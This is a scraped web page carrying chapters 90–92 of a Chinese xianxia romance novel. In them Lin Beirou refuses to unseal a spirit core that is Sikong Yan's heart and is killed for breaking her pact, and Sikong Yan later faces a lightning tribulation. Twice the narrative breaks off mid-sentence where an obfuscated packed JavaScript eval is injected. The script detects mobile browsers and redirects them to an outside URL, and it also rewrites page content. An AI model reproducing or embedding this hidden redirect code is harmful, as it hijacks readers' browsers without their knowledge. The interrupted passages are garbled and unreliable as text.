他低头看着林北柔,她不服气地抬头看着他,怒火在眼中燃烧,眼睛宛若墨汁和三十六种灵草糖蜜调和,能细品出七情六欲,乌黑浓密的头发丝缎一样滑在枕头上,蜿蜒微卷,想让人将五指缓缓深入她的发间,再慢慢抓住她的发根,迫使她仰起头,支配她,封印她的嘴唇。 让她不敢在他面前提另外一个人的名字,哪怕也是他的真名。 道心本相露出个没有笑意的笑:“提醒你一句,我们本就是一个人。” 林北柔看着道心本相,不知道为什么,心底有点打鼓,她不想趋于下风:“那你现在是在吃醋吗?” 道心本相面无表情:“你想的美。” 林北柔:“那你还不从我身上下去。” 元神细密疼痛,核心涌上酸胀,林北柔眼前开始发黑,她知道道心本相不会动情,一旦做了,就会跨过他的底线,无上清凉心剑诀要修行者戒欲戒色,他不可能碰她的。 一只手压上了她的小腹,带着不容置喙的力道。 林北柔不可置信地睁大眼睛。 道心本相冷冷地对她说:“为了大局着想,不到最后也可以。” 林北柔睫毛剧烈颤抖。 道心本相俯身低头在她耳畔说:“我和你一起堕落,你满意了吗。” 他的声音像泠泠的山泉,冷沁到她心底。 四十分钟过后,林北柔脱力地躺在地毯上,道心本相从后面抱着她,旁边还躺着两个暂时没有元神的祖宗分体,感觉事情魔幻到像做梦一样。 道心本相的手伸进她的头发,缓缓梳理她凌乱的发丝,指尖划过她还是很红的脸颊。 他们没有真的做,却也差不多了,林北柔不知道还有这种纾解方式,她还能闻到对方手指上让人难为情的气息,很甜的味道,交缠着他们彼此的信息素,让人脑子晕晕的。 林北柔抵抗着脑海里强烈的睡意:“不行……风暴要来了。” 道心本相说:“睡吧,没关系。” 林北柔做了个奇怪的梦,她穿着一件蝉翼纱单衣,站在一个巨大的门面前,门内是倒悬的星空,缓缓旋转,无数美妙的大世界触手可及,只要她穿过那扇门。 她抬起一只脚,心脏却传来锐痛,好像要爆炸了一样,林北柔捂住胸口跪了下去,她回头,看见大片大片黑色沥青蔓延开,形成深不见底的海沼,里面传来无数诡异嘈杂的声音,仔细一听,都是人的哭泣,谩骂,还有各种在痛苦的时候发出的声音,铺天盖地的负面情绪。 林北柔拼命向前爬,半个身体穿过了门,腿以下却被黑色沼泽吞没,黑色染上她的身体,最终吞没了她的手臂,蔓延到她的脖子,脸…… 林北柔睁大眼睛,看见前方出现一个黑发黑眸的侧影,他转身望向她,泛红的眼眶里是深不见底的痛苦愤怒,悲伤绝望,然后渐渐归于平静,再到寂灭,最后缓缓转身,头也不回地向前走去,没入遥远的星光中。 她的视野被黑色混沌吞没。 一双手拖住了她的腰,将她狠狠往下一拉。 林北柔骤然惊醒,身体还在微微抽搐,心有余悸坐起,周围环境变了,她不在安全屋了。 林北柔环顾四周,这里是……洞穴?! 不对,她在地下。 顶上非常黑,让人以为是夜幕,其实是高不见底的穹顶,周围一点声音都没有,比任何地球现存的地下溶洞都更深邃无边,就算三台大型飞机在这里同时贴地起飞,空间和距离也绰绰有余,大到让人感觉无比渺小。 空气也和外面不一样,古老,洪荒,恢弘,说不清的苍莽的未知。 道心本相不见了,司空晏也不见了,不对,是三个祖宗都不见了,这里只有她一个人,洞穴地面和墙壁有烧焦的痕迹,深深的斫痕从地上延伸到穹顶,残留着飘曳的火星和余热。 这里发生过一场战斗,林北柔捂住脑袋,使劲回想,却怎么都想不起来,只有隐约的片段闪过。 黑风暴降临,他们及时转移,深入到了地下,正式进入灵脉矿区,改装车切换成贴地飞行的模式。 林北柔记住了地形,她变成了导航,指引前进的方向,避开很多岔路。 然后,他们遭遇了一场袭击。 她很确定自己失去了上一段时间的记忆。 林北柔看了看身上,没有受伤,大概率是司空晏用结界将她保护了起来,中途战斗时出了意外,导致他们三个人不见了。 林北柔站起来,在周围找了一会儿,没有看到司空晏给她留下的提示,却发现了很多暗红的血迹。 气息很熟悉,有司空晏的,有荀照乘和新垣鑫的,这种出血量对普通人来说是致命的。 血迹向前蜿蜒,带着信息素的味道,就像在指路一样。 林北柔心脏沉了下去,又被悬在半空,她不喜欢这种感觉。 司空晏本身极其强大,目前为止只有三号能和他战成平手,如果三号真是在另一个世界成神过的老怪物,年纪比司空晏大很多很多,司空晏又因为多次回溯遭到很重反噬,那么他凶多吉少。 一想到司空晏可能会遭遇不测,林北柔胸口就像有虫蚁在热锅上爬。 林北柔还闻到了一股陌生的气味,让她鼻子很不舒服,来自袭击者。 三个祖宗可能一起对抗了袭击者,把袭击者引到了其他地方,留她一个人在这里。 林北柔找了一圈,找到了远处撞翻的车,她赶紧走过去,发现车没办法再开了,但后车厢没坏,里面还有台可以的迷你电动代步车,可以适应各种地形,林北柔装了一些食物和水,还有一些应急物品,开着代步车往里走。 她要先找到司空晏。 道路两边有很多起伏的矿层,星星点点地闪烁着,她能感应到里面庞大灵脉的流动。 越往里面走,裸露在外的灵脉就越多,不再是零星,像幽光的长河一样,半封冻半流动,光芒很美,并不刺眼,也不是人工电影特效那类虚假的荧光,而是非常柔和天然的光芒,像极光,像天然矿石沉在水底。 一些淡紫和淡蓝的微光,汇聚到林北柔身上,在她身后拖曳,形成很多细细的光带,林北柔不知道怎么摆脱,只好先不管,光带越来越长,让她像多了条尾巴,远看好像人身蛇尾,这是灵脉里的污染,因为她的被动天赋,全都被吸引过来了。 好在这些光带能照亮地面,刚好让她看清地上血迹的方向,林北柔顺着血迹往前找。 她很怕在前面看到一些祖宗的断手断脚之类,甚至脑补了会出现祖宗的断头。 幸好没有。 前方出现一条巨大的岔路,左右两边都通往很深的尽头,宛如史前海底,就算现代城市的摩天大厦,在这里都只能算地上一个不起眼的尖锥沙堆。 林北柔看着血迹朝右边延伸过去,右边的灵脉十分黯淡,左边的反而越来越明亮。 右边尽头是深黑一片,左边尽头有明亮的光。 林北柔先到了右边,下了车在入口检查,瞳孔骤缩,看见了地上一行血字。 “不要进来,走左边。”司空晏熟悉而潦草的笔迹,过于匆忙,最后一个字都没有来得及写完。 林北柔深深皱起眉。 突然,锁骨灼痛,林北柔嘶地倒抽口凉气,用随身小镜子照锁骨下面,看见天道契约的标记开始发亮。 下一秒,林北柔眼前发黑,脑海展开一幅三维地形图,太初灵核是一个金色的发光小点,就在左边通道的方向,目标区域的路线清晰无比。 林北柔慢慢眨了眨眼睛,走左边,执行原本的任务,重启太初灵核,这是原计划。 很多人的期待和责任都在她肩膀上。 走右边,她可以顺着血迹找到生死不明的司空晏,这一举动无异于背叛道德和责任。 司空晏很可能把三号引开了,拖延了时间,让她可以先抵达太初灵核所在地。 她如果不听他的,选择走右边,就是浪费了他的牺牲。 林北柔胸口缓缓起伏,回到车上调转方向,进入了左边通道,地面和空中的灵脉里好像有无数双眼睛注视着她。 她越向前走,距离分叉口越远,心脏就越千钧重,好像有什么巨大的存在将她向后拖,理性提醒她要继续往左边走,直觉却在对抗。 ……有什么隐隐约约不对劲。她不该听司空晏的走左边。 林北柔停了下来,她深深蹙眉,不再迟疑,直接调头折返,小车回到岔路口,她朝左边开过去。 一道透明结界挡住了她的去路,小车不管往哪个方向开,都像撞到了空气墙。 林北柔僵住了,她释放灵力去推结界,结界纹丝不动。 左边尽头传来震荡声,一直传到她脚下,好像鲸在呼喊一样,更空灵也更震撼,整整持续了半分钟。 林北柔别无选择,只能朝前方走。 路上有无数岔路,地形图在她脑海里,朝哪个方向走都有导航,否则她早已迷路。 不知道走了多久,中途她还累得停下来睡了一觉,林北柔的手表也失灵了,就在她食物消耗完之后,她抵达了一个宏伟的空间,地面平整,前方有无边无际的钙化浅水池,五颜六色,远处层峦叠嶂耸峙,奇形怪状,灵气蓊郁得惊人,简直就像胜身洲的古老秘境。 这里有花花草草,有栖息的小型灵兽,还有可食用的灵露,林北柔甚至认出了其中一种灌木,她采了一大把,把上面玛瑙珠一样的红果子摘下来吃,充饥解渴。 一天半以后,林北柔抵达了太初灵核所在地,那是个巨大山体内层,里面自带金光,像炼丹炉一样美,天地模糊,无限辽廓,就像夕阳无限好,林北柔走了进去,看到了太初灵核漂浮在半空中,周围是一圈又一圈星云状灵雾。 太初灵核通体橙红,形状不规则,不断从玫瑰红变幻成赤橘金,外面却飘着长长的蓝白火焰,像灵脉的心脏一样,不断震颤。 到了太初领域,支配了太初灵核,就等于支配了全世界的灵脉资源。 光是看一眼,就让人目眩神迷,生出想要据为己有的心思,需要强大的意志力克服这种痴迷,野心越大,越渴望权力,越容易被迷惑。 幸好林北柔是个随处躺平的,她看着太初灵核,只觉得很漂亮,伸出双手,强大的能量自动释放,太初灵核像一枚燃烧的星辰,朝她飘了过来。 林北柔隔空托住它,小心翼翼将它捧着,就像捧着一只新生的小鸟一样,她拿到了太初灵核,一切顺利的不可思议。 虚空中,一个光团缓缓出现,开口就是甲方熟悉而沉淀的声音,像个老朋友一样。 “林北柔,你终于来了。” “你履行了你的承诺,现在重启太初灵核,完成最后的契约,天道印记就会彻底消失。” “然后你就能恢复自由,返回属于你的地方,过健康平安快乐家人相伴的一生。” 林北柔觉得自己像在做梦,这一切却是真实发生的。 她没有想过最后会是这个场景,没有司空晏,没有敌人,只有她自己和甲方,简简单单,就像最初一样。 林北柔:“我要怎么重启?” 甲方:“外面有司空晏的封印,只有你能扯掉,就这样扯下来就好了。” 林北柔捧着太初灵核,它温热暖和,真的在跳动,太像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789951|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗心脏了,也很像一颗迷你的星球,外层有一缕玫瑰色飘带缠绕着,应该就是甲方说的封印,上面果然有司空晏的气息。 林北柔抬起一只手,朝玫瑰飘带伸过去。 “……” 后知后觉的寒意,轻轻从尾椎向上蔓延,逆流到后脑勺。 眼前的一切有种强烈的既视感,就像曾经发生过,她确实扯下了封印,也完成了契约,太初灵核被重启,世界灵脉得以净化,天劫的到来得以避免,世界欣欣向荣走向新的时间支线,她也和妈妈哥哥一起回归了充满烟火气的日常生活。 然而脑后传来针扎一样的细密尖锐刺痛,直觉在她内心一个微小的角落尖叫,让她扭转这看似正当的一切。 抛弃道德,抛弃责任,甚至抛弃理性。只听从直觉的召唤。承担万劫不复的风险。 不要扯下这个封印。你曾经扯开过,它已经发生过一次了,而你不想要那个结局。 ……什么结局?林北柔怔怔地问自己。 那个看似幸福的结局。内心声音回答她。 “司空晏在那个结局里吗?” “他不存在了。” 林北柔无法判断这个声音是来救她的,还是深渊的低语。 林北柔身后凝聚着淡紫浅蓝,好像小蔓长春花,婆婆纳,龙胆,沙参花,勿忘我和绿绒蒿被揉碎做成了星河,她没有看见,一个黑影从星河中慢慢站起,身形和她一模一样,静静地隔着一段距离,就像一个诡异的影子。 最奇怪的是,甲方也没有看见这个黑影。 甲方提醒她:“你还在犹豫什么?动手吧,时间不多了,这里的时间流速和外面不一样,多耽误一会,外面就会有更多人因为天灾殒命。” 林北柔伸出的手收了回去,她捧着太初灵核,盯着它,越看它越像一颗血流干了的心脏,外面那层玫瑰飘带,就是它被抽干的血。 甲方:“林北柔?” 林北柔抬起眼睛:“我不做了。” 甲方:“什么?” 林北柔:“我不会解除它的封印。” 甲方语气并没有起伏,只是好像很不解地问:“你是在拒绝履约?” 林北柔慢慢点头:“你可以这么理解。” 甲方的光团一动不动,然后向林北柔这边漂浮了一段距离,停在了她上方,似乎正在仔细观察她。 空气逐渐粘稠,凝固。 甲方一个字一个字地说:“你宁愿被剥夺元神和灵魂,万劫不复永堕地狱,承担撕毁天道契约的代价,甚至牺牲自己的亲人,让整个世界被天劫摧毁,剥夺所有无辜之人的希望,让他们都死去,也不愿意重启太初灵核?” 它加重了语气,甚至投射了一个画面,画面中林北柔的亲人正在死去,他们在天劫中灰飞烟灭,而她永远无法再和他们团聚,因为她沉底在阿赖耶识的十方心识地狱,不再记得自己是谁。 林北柔低下睫毛,又缓缓抬起,瞳眸闪烁着淡紫微光:“我有个问题。” 甲方光团静默,仿佛在等她开口。 林北柔:“我手里捧着的这个,是太初灵核吗?” 甲方停顿了一秒,仿佛有一个世纪之久:“它是太初灵核。” 林北柔提起嘴角,笑了起来,好像甲方说了个很好笑的梗,笑声越来越不受控。 甲方:“你在笑什么。” 林北柔收起了笑意,眼睛里微光熄灭,瞳孔深处黑魆魆的:“它是太初灵核。” 话音刚落,她又轻声说:“也是司空晏的心脏。” 甲方没有再开口。 真相是无声处听惊雷,一切都在安静中被释放,比什么都更惊心动魄。 林北柔珍惜地包拢手指,捧住太初灵核,把它贴在心口,感受着和司空晏心脏共振的频率。 她笑了,这阴间祖宗果然想骗她,没门。 司空晏的元神掌管他的虚态,心脏掌管他的实态,他把自己的心脏和太初灵核炼化熔铸在了一起,所以甲方才动不了太初灵核,玫瑰红飘带是封印,也是维系炼化的纽带,拆开了,封印就不存在了,心脏也会剥离枯萎。 失去心脏,司空晏会死。 怪不得他会炼化出元神分体,心脏被剥离后,元神也会不稳,只能干脆分成三等分,才会形成稳定的结构,于是顺带制造出了其他两个身体。 不知道司空晏为什么突然改变了主意,和甲方站在一个立场,想骗她把封印拆开,重启太初灵核。 凝滞了一刹那,林北柔突然想到了自己身上的天道印记。 答案如此简单。 他不想她死,不想她付出违约的代价。 林北柔一动不动,好像化作了雕塑,连呼吸都暂停了。 强大的太乙老祖玉衡星君的心脏像被剪羽的小鸟,稚嫩柔弱无依无靠,躺在她的手心,贴着她的心脏。 林北柔眼睛微微睁大,久久失神。 “……我不会让司空晏死的。”她近乎呓语。 甲方:“你会下地狱的。” 它这句话公允而平静,足以让世界上最有权有势、手上沾满了血的野心家肉颤心惊,丢魂丧胆。 然而林北柔眼神平和又混沌。 林北柔:“你怎么知道我没有去过?” 她的语调变得古怪了起来:“你又怎么知道,我不是从那个地方回来的呢。” 甲方的光团忽然坍缩了一下:“林北柔,你疯了。”它用的是一个陈述句,在肯定一个事实。 林北柔微微一笑,收拢了心脏,将太初灵核放进外套内袋。 甲方光团炸开无数尖刺,朝她冲了过来,它象征至高无上的天道,这样的攻击,林北柔根本躲不过去。 林北柔身后光带的黑影动了,它比光速还快,出现在了林北柔前面,挡下了甲方一击,又化成一团黑雾,笼罩住了甲方。 源源不绝的黑雾,从它身上释放出来,层层包裹住甲方,甲方没有料到这个变数,一时半会淹没在黑雾中。 黑影撞上甲方的一刹那,林北柔胸口闷痛,吐出一口血,没有浪费一点时间,抱着司空晏的心脏跑了出去。 即使感消失了,事件被改变了,林北柔越跑越快,风一样掠出了山洞。 那个和林北柔身形一样的黑影站在原地,遥望着林北柔,歪着头,好像是笑了一笑。 接着,它被炽热盛怒的白光吞没。 甲方的声音如天雷响彻八荒:“林北柔,你背叛了契约,毁约者,即刻死——” 林北柔感觉到心脏像爆炸了一样疼痛,天道印记越来越亮,像蛛网游走她全身,下一秒,她整个人炸成了碎片。 91. 第 91 章 司空晏睁开眼睛,这是林北柔死后第三百年。 说起来很漫长,对他来说,三百年和三个时辰、三个月、三百天没有区别,时间对他来说失去了存在感,因为度量它的人不在了。 他只是等得有点久。下次再见到林北柔,他一定要说“怎么这么久”。 他又梦见了那一天。 紫电如川,万籁俱寂,玄霄雷劫将至。 那是他境界飞升之日,只要跨过这一劫,他就可以更进一步,直接飞升成真仙。 整个胜身洲都无比恐惧这一天的到来,他连魔域都踏平了,再飞升成真仙,胜身洲就变成他掌心一颗旋转的透明琉璃球了。 “半步踏虚境界到真仙,别看只差半步,却是差之毫厘谬以千里,”一个不怕他的老祖说,这个老祖放弃了成仙之路,是仅存于世的几个老怪物之一,“你真的准备好了吗,你的道心本相也准备好了吗。” 司空晏盯着他枯槁皱缩的面容,掉得不剩几根的枯草一样的白发,和记忆中曾经正大仙容、丰姿昳貌并且有一头乌黑青丝的道君没有半点关系,连身高体型都缩水到只有当初一半,像个营养不良的饥民。 如果他飞升失败了,也会变成这样吗。 司空晏慢慢说:“老头,你的道心本相去了哪里?” 老祖拢起袖子,老态龙钟的肌肉都做不出表情了,只能勉强辨认他是在笑。 老祖:“太久了,我忘了,可能是走丢了,谁知道呢。” 司空晏:“怎么丢的?” 老祖:“和你一样啊,我也遇到了一个人,都是劫,这个劫,可比什么玄霄雷劫可怕多了。” 司空晏凉飕飕地盯着他:“你意思是我会飞升失败?” 老祖:“你敢把你的道心本相叫出来看一眼吗?” 司空晏闭上眼,下一刹那,他周身流动光芒,如银瓶乍破,元神中的道心本相外显,银色长发,白色袍服,神情高冷波澜不惊,没有本体的阴柔气息,只有无尽的剑宗磅礴之意。 老祖意外地看着他脖子上蔓延出的血红纹路。 那些纹路像红线一样,攀援缠绕,在洁白到血管都泛蓝的皮肤上,显得格外糜艳而禁忌,仿佛是某种堕落的过程。 老祖深深皱眉:“司空晏耽溺情爱,终究还是影响到你了?” 道心本相:“我下不了手。” 老祖眯起眼睛,知道他指的是林北柔。 老祖最终只说了一句话:“那你就会和我一样。” 道心本相:“你后悔过吗。” 老祖微微一笑:“后悔,也不后悔。” 道心本相:“那你还在等什么?” 老祖不说话了,昏昏欲睡老眼昏花的样子,眼皮耷拉下去,过了一会儿又蓦地惊醒,疑惑地看着他,好像不认识他,得了失忆症。 道心本相回到了修炼池,水中倒映出他的影子,和他一模一样,道心本相盯着影子,挥袖弹指,一道剑意将水面击碎成万千细珠。 道心本相:“你现在这个样子,还妄想能度雷劫?” 水面波纹凌乱,渐渐聚合成完整的倒影,阴郁冰凉,眼中却燃烧着他没有的东西,焕发出一种奇异的色彩。 司空晏慢条斯理:“我想度就度,你有意见吗。” 道心本相:“你这样度雷劫,注定要神陨道消,你想死,别拉着我一起。” 司空晏:“本座可不像你这么无趣,剑道,成仙,她,我都要。” 道心本相没再开口,水上水下,形态交换,水上的人恢复成了司空晏,变回黑发黑眼。 修炼池回廊尽头似乎闪过一点黑影。 司空晏转过身,偏了偏脑袋,走到哪里,没有发现任何可疑迹象。 一炷香后,林北柔摘下隐形羽衣,气喘吁吁地按着膝盖,站在了千里之外的杏林谷山门口。 这里住着胜身洲最好的医修和药修们,是最古老的药宗。 丹桂真人早就觉察到了林北柔的到来,让小童子过来接她。 丹桂真人救过林北柔好几次了,林北柔每次受伤,司空晏都会召丹桂真人来太乙天都,身为杏林谷医术最高也是最心平气和的修士,丹桂真人年纪比司空晏还大好几轮,对这位混世魔王的做法已经认命并习以为常,这么多年林北柔也算得上是她的小友。 林北柔开门见山说明来意:“司空晏会死在玄霄雷劫里吗?” 胜身洲很多人盼着司空晏死,不希望司空晏死的,恐怕屈指可数。 丹桂真人除了医术,还有一项本领,卜筮,只是她从不轻易使用,每次她都能准确窥见天机。 她站起身,林北柔看不清她的表情,因为她的眼睛是用黑布蒙住的,这是曾经窥天机的代价。 童子连忙过来搀扶,丹桂真人却挥了挥手,走到了林北柔面前,非常平静地说:“他会神陨道消,永劫不复。” 林北柔僵住了,丹桂真人不会说诳语,她说出了口,就证明这件事在未来已经发生过了。 永劫不复四个字,像冰水流遍全身,寒气侵入心脏和五内。 意思是司空晏这个人会消散于天地间,连元神都变成虚空齑粉,不复存在,寻不到任何踪迹,她也再也见不到他了。 她应该接受的,她一直告诉自己,仙凡殊途,何况他们根本不是一个世界的人,她来自地球世界,他属于胜身洲,这两个地方都不在一个位面,是三千大千亿万世界中两滴不可相遇的水。 他们的相遇本就是偶然,离别亦是必然。 丹桂真人看着林北柔,黑布下遮住的眼睛含着悲悯。 林北柔抬起头:“我怎么才能救他?” 丹桂真人仿佛早就知道她会这么说,摇摇头:“那你也会万劫不复。” 林北柔眼睛微微睁大:“所以我可以救他了?” 她赶紧调转话题追问,丝毫没有将她自己也会万劫不复放在心上:“请真人赐教。” 然后给丹桂真人行了一个叩拜大礼,顺便抖出了须弥戒里藏着的天材地宝,落满一地,光芒闪闪,童子眼睛都瞪圆了。 林北柔:“这些可以治好您的眼睛,我到处搜刮……收集来的,虽然不能复明到原先那样,可以朦朦胧胧看清轮廓还是没问题的。” 丹桂真人慢慢坐了回去。 林北柔担心地补充:“我还知道一个仪式!可以让窥天机的反噬转移到我身上,我——” 丹桂真人唇角提起,露出个柔和的笑容,打断了她:“即使万劫不复,失去一切,你也会这样选吗?” 林北柔思忖了半晌,谨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811773|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慎地问了个问题:“我在另一个……您知道的,那边有我的亲人,他们不会……” 丹桂真人摇摇头。 果然,一个位面的因果是一个位面因果的事。 不过,就算丹桂真人给了让她失望的回答,林北柔也不打算放弃,她总能找到两全之道。 林北柔感觉自己的心态一点不沉重了,甚至是开朗的,不好意思地挠挠头:“您愿意帮我就好,我不知道该怎么报答,但我会报答您的。” 丹桂真人并不在意林北柔的报答,她叹息一声,面容恢复端肃:“我现在告诉你应该怎么做。”她让童子去关上了门,开启了隔绝天听的结界和阵法。 林北柔认真点点头,肃然洗耳恭听。 司空晏修炼完,不见林北柔回来,生了半天闷气,最后自己气消了,淡淡地躺到榻上,一手支颔,闭目养神。 这些日子她神出鬼没的,也不知道在忙些个什么,他问了神伶们,神伶们也不知道。 司空晏想起三百年前,刚开始的时候,他对林北柔支配欲和掌控欲到了自己都无法理解的地步,林北柔走哪他都要跟随,寸步不离,如果实在不能跟随,他会让神伶们陪着她,把林北柔都逼得崩溃了好几次。 不知不觉间,漫长岁月的陪伴中,他的不安和孤独都渐渐被林北柔给与的取代,支配欲和掌控欲还在,一点没减少,逐日逐年递增,变成了深渊,只是懒得再浮现于那些限制她行踪的日常。 他知道她不会离开他的。 鬼鬼祟祟的脚步声,八百米远就听见了,没等她贴上来,他就感到了她身体的温度,等到她环住他背和腰,从后面把脸在他背上蹭,他才感觉到安心和踏实,为了这样的温软,他视雷劫若无物,随便什么反噬,什么道心本相,都阻止不了他想要做的。 林北柔睡着了之后,司空晏才翻了个身,朝向林北柔,静静注视她片刻,伸出手臂将她挖到自己怀里,让她安慰埋在他胸膛,睡得一塌糊涂。 林北柔手握成拳放在脸颊旁边,搁在他胸膛上,脑袋顶上的毛也毛毛躁躁的,光听呼吸就睡得很沉,这人是去玩泥巴了吗,这么累? 司空晏知道林北柔喜欢在太乙天都的大山内漫游,神伶随时隐藏在周围百米内,她不会遇到任何危险。 她今天可能又去哪里玩了。 之前林北柔一脸凝重地问过他很多关于雷劫的问题,司空晏不当回事,一边用指背滑过她的脸,一边逗她玩,林北柔不高兴了,自己跑去太乙天都的藏书阁查了很久,然后又恢复了平时的样子,这样很好,司空晏确实不想她把雷劫当回事。 那天还是来了。 司空晏不让林北柔过来,他在熏香里加了一点安神灵草,林北柔还没醒,他先起来了,看了一眼林北柔,低头亲了亲她的头发和脸蛋,披衣离开,雷劫会在寅时到来,他独自一人登上天阶,去了太乙天都最高的峰头。 夜幕依然漆黑,今晚没有星辰,一片黯淡阴凄,司空晏穿着很平常的黑色素面修士服,随意地盘膝坐在悬崖边,静静等待雷劫。 雷劫会在黎明前到来,第一缕曙光破晓,他要么灰飞烟灭,要么踏虚飞升。 不管怎么样,他都有办法回到林北柔身边。 他要她永远在他枕畔榻上,做安稳的美梦。 92. 第 92 章 黎明前最黑暗的时间,雷劫到来了。 司空晏缓缓睁开眼,看着天边,漆黑到让人出现幻觉的夜幕中,一道深紫在接近,速度看似缓慢,实际上十分惊人,从视野最左侧横贯到最右侧,无边无际。 司空晏提起唇角,眼中没有笑意,整个人没有动,垂落腰际的发丝开始缓慢漂浮,黑魆魆的眼中有细小的电光一闪即逝。 天地低昂,深紫色抵达了最前面一座峰头上空的位置,正面边缘需要抬头看,很接近了。 那是雷云,业果纠缠凝结出的实体,修士逆天而为,和天道争先的代价。 司空晏是胜身洲万万年下来,天才修士中最天才的一个,连魔修老祖都被他捏碎了元神。 这雷云就来得格外穷凶极逆,蹲伏着无数凶兽,纯粹要让司空晏死的恶意。 庞巨压顶的云堡,叠了九层天,抵达司空晏修为领域之后,停了下来,左右合拢,无声将他围住,一层又一层的云直上九霄,形成一个看不到尽头的通道,上行的深渊,逆飞等于坠落。 紫云开始翻滚,深沉的鸦墨混合了燃烧的青莲,闪电明明灭灭,云块被照亮,储存了万钧雷霆。 九霄通道雷云的体积仿佛沧海,司空晏就像一粒蜉蝣一样渺小。 司空晏身后显出心剑,万年临风寒松一动不动。 第一道闪电落下。 司空晏的领域罩在他坐着的峰头,无形无相,完全透明,迅疾的闪电还没到他上空百米,就在领域上爆开巨大火光,烟花熄灭,司空晏嘴角勾起,无声冷笑,索性半睁眼,懒懒地看着。 雷劫似乎被激怒了,闪电接二连三落下,快到肉眼无法捕捉,打在领域上,噼里啪啦电光燃烧,黑夜照成白昼。 一道闪电对司空晏造成不了任何伤害,连在他寒毛上吹气都不算。 雷劫似乎打算以数量取胜,降落的密度,陡然增高。 在领域上方变成了一片泛浅紫的极光,缓慢飘曳,向领域内侵蚀燃烧。 紫电以肉眼可见的速度在推进,司空晏终于动了,他站了起来,随手一招,心剑回到手中,冰透如玉,一道剑影横扫出去,紫色极光瞬间被打散一大片。 要是魔域那些大能看了,眼珠子都会掉下来,从没见过有剑修的境界这么离谱,正面硬刚玄霄紫电,雷劫的最高级别。 一道雷云突然朝另外一个方向过去了,那是林北柔睡觉的地方。 雷云自动定位到了和司空晏因果纠缠最深的所在。 司空晏眉眼如常,神色波澜不惊,剑气如琴音震荡,林北柔寝殿外金光阵阵,将紫电反弹了出去。 他用深湛修为补足了保护林北柔的结界。 这样一来,司空晏承受雷劫的时间更长,强度也比他一个人单独渡劫大很多。 胜身洲过去,不是没有修士和深爱的道侣一同度雷劫,结果不是双双死去,就是一死一伤。 境界越高深的修士,越不能沾情爱,否则雷劫罚落越严峻,不少修士在最后关头,会面临选择,是放弃保护道侣,斩断情根飞升而去,还是保护道侣,承受双倍雷劫,耗空一身修为,最终飞升失败,身死道消。 雷劫共有九个阶段,司空晏到了第八个阶段了,领域只剩下薄薄一层。 他衣袂翻飞,眼神阴沉至极,手臂和脖子都浮现起青筋,水墨一样,莫可名状,心剑不知不觉变幻成了终极形态,一把其他任何修士包括魔修都拿不起的重剑。 司空晏挥举重剑就像拈一片羽毛,重剑疾速而去,击破领域,玉髓粉碎,鸣音轻脆如昆山凤凰,任何人看了都会觉得他疯了。 第九阶段,以肉身迎接雷劫。 心剑是司空晏的元神炼化而出的,化实为虚,紫电落在心剑上,迸发出巨大的光和热,然后消散溶解。 通道还是一眼望不到头,那种紫云炽盛的威压却弱了不少,云层不再有缠绕如蛇的闪电。 司空晏胸口一闷,嘴角现出血丝,他疑惑地用另一只手擦了擦,指尖上血液是中毒的紫黑色。 玄霄紫电雷劫和其他雷劫不一样,它是带毒的,修士暴露在紫电下会中毒。 司空晏疑惑的是他心法在运转,为什么还会中毒? 下一刻,不仅是胸口,连五内都像焚烧一样,毒血从他的鼻孔、耳孔还有内眼角流了出来,司空晏踉跄半步,以重剑支撑稳住身体,一道紫电落在了他身上,刹那烧穿了他的衣服,留下皮焦肉绽的血痕。 司空晏缓缓呼吸,无上清凉心剑诀运转,伤口和衣服都恢复了原状,七孔却依然流血,中毒状态无法消除,就像被打上了一个buff,而这个buff仿佛还能叠加。 更多紫电落下,仿佛觉察到了司空晏的异常,像吸血水蛭一样缠上来,司空晏一剑斩灭一座峰头那么多的天雷和紫电,玄霄通道中却又更多雷劫落下。 司空晏伤口恢复的速度跟不上他被攻击的速度了。 无上清凉心剑诀越来越慢,像被卡主了的车轮,司空晏没有顶住,遭受了一记重创,元神第一次受损。 他捂住心脏,抬头望向漫天雷云,嘴角挂起冷笑。 雷劫进行到第九阶后半段了,通道里原本浓郁的紫色,现在成了万马齐喑的墨灰。 雷云切换形态,往中间汇聚,形成了一把照亮通道的巨剑。 这把剑无剑柄,两头都是剑尖,末端缓缓旋转,对准了司空晏。 剑身上接二连三亮起星辰,是北斗七星的形状。 司空晏无声阴笑,这是真的把他当成魔孽了啊。 司空晏擦了下眼睛的血,让视线恢复清晰,看了一眼林北柔所在寝殿的方向,结界依然完好,他闭了闭眼,银白沿着发梢向上,染透了一头黑发,再睁开眼睛,黑魆魆的眼睛里燃烧起剑意。 道心本相和他融合在了一起,发丝飘曳,衣袂猎猎,修为暴涨,身后显出巨大的法相天地。 只是虚空法相心脏处,有一个很小的球状物,在不断散发黑气,由于太小了,难以察觉。 最后的雷劫汇聚完毕,九重玄霄紫电七星镇魔诛仙剑成型,爆发出环状气波,震散了所有雷云,只剩一个灵光构成的虚空通道。 不是飞升,就是殒灭。 司空晏的法相手持心剑巨影,望向镇魔诛仙剑。 众多鲲鹏悠远地叫了起来,汪洋和天空的回响一去不返,最后一道紫电天劫终于降临。 司空晏原本半阖的眼帘忽然睁开,瞳孔扩张,现出疑惑。 